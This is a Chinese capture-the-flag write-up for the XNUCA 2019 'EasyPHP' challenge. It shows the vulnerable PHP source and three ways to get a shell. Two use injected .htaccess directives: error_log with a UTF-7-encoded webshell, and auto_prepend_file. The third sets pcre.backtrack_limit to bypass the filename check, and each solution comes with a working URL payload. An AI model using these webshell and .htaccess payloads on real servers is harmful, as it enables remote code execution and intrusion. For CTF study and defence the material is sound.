[XNUCA2019Qualifier]EasyPHP
题目给源码
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
知识点:
- php.ini配置文档
- <?在error_log中的绕过
解题过程
想正常写shell,但是不解析,会将内容输出
解法一:
.htaccess可以用include_path来包含某个路径下的文件,error_log可以将错误日志输出到文件中
这样就可以用include_path来包含不存在的文件,然后将错误的内容输出到文件中
但是error_log的内容默认是htmlentities的,这就需要将写入的shell进行utf7编码
然后再写一个.htaccess来进行解码,记得要在文件末尾加#注释脏字符。
1.写入.htaccess报错?filename=.htaccess&content=php_value error_log /tmp/fl3g.php%0aphp_value error_reporting 32767%0aphp_value include_path "%2bADw%3fphp%20eval($_GET[1])%2bADs%20%2bAF8AXw-halt%2bAF8-compiler()%2bADs"%0a%23 \
2.然后访问index.php触发报错,将include_path写入/tmp/fl3g.php
3.写入解码的.htaccess?filename=.htaccess&content=php_value include_path "/tmp"%0aphp_value zend.multibyte 1%0aphp_value zend.script_encoding "UTF-7"%0a%23 \
4.然后访问index.php,get传参1即可rce。
但是每执行一次代码,都要重复写入.htaccess解法二:
.htaccess能自动包含文件
将php代码写入.htaccess。代码前注释。访问index.php。就会自动包含.htaccess中的恶意代码
由于是先包含。再执行php代码。所以我们的恶意代码先执行。再删除.htaccess。我们就能获得一次执行命令的机会
虽然过滤了file,但是.htaccess文件里\和Linux shell里一个意思,可以拼接
payloadfilename=.htaccess&content=php_value%20auto_prepend_fi\%0Ale%20%22.htaccess%22%0A%23%3C%3fphp%20%40eval(%24_GET[%27cmd%27])%3b%20%3f%3E\
这个在<?php前加#就行。由于#在<?php之前,所以#不会注释php代码,导致恶意代码可以执行
然后index.php get传参cmd即可
同样每次执行都要再写一遍.htaccess。解法三:
这里使用preg_match匹配。而这个函数有一个prce回溯。这里只判断返回结果是否等于1.也就是True
而prce回溯是可以定义。超过回溯。就会返回False。也就是0
即可绕过正则。直接写入fl3g.php
然后文件包含利用。php_value pcre.backtrack_limit 0 php_value pcre.jit 0
filename=fl3g.php&content=<?php eval($_POST["cmd"]);?>
即可getshell